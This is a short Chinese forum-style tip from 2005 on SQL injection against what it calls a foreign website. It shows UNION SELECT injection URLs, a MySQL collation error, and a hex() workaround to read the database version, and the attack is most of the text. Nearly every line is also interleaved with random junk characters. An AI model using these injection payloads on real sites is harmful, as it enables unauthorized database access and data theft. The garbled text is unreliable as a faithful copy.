本文作者:SuperHei
& M. p: z6 ~, V% v2 V$ e文章性质:原创
: _, _& O9 h$ I$ E1 w4 s0 H发布日期:2005-10-18
0 a( C9 k2 Z/ \/ d' X测试个国外的站时:! F6 S! g# U5 T$ f1 X9 f* A
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
- l5 Z# ~) h8 p% m2 Q4 \7 j返回错误:
+ w5 D% L- A0 ~; {- ?Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'. D R3 D2 t. E8 c
MySQL Error No. 126
# p6 b# {* G6 h' C看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。& {7 ?5 b8 e @2 x2 M# G3 Z
解决办法:转为其他编码如hex。
b S9 T/ Q4 \2 gurl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/* Y7 y' M( ?8 N3 O( [( h& u
成功得到hex(version())的值为:8 v# T% `0 S. s k
342E312E332D62657461; r u+ I" _, ?
回Mysql查询下得到:% @0 A9 w2 t2 p2 S
mysql> select 0x342E312E332D62657461;1 E, N5 J( D8 A" m2 ]) S; m
+------------------------+" ^ a! n4 U" G$ E
| 0x342E312E332D62657461 |
7 H, E e- _0 Q/ s- }0 y9 _6 `/ j+------------------------+7 |; c3 g/ |9 Y+ H( l$ E
| 4.1.3-beta |% d& e% W) }: Y4 p
+------------------------+; T2 s, {* M1 j( v; O
1 row in set (0.00 sec)$ f4 n3 C' H( @8 X* Z6 w# w, {
+ [$ Q/ X6 y5 b: N( z |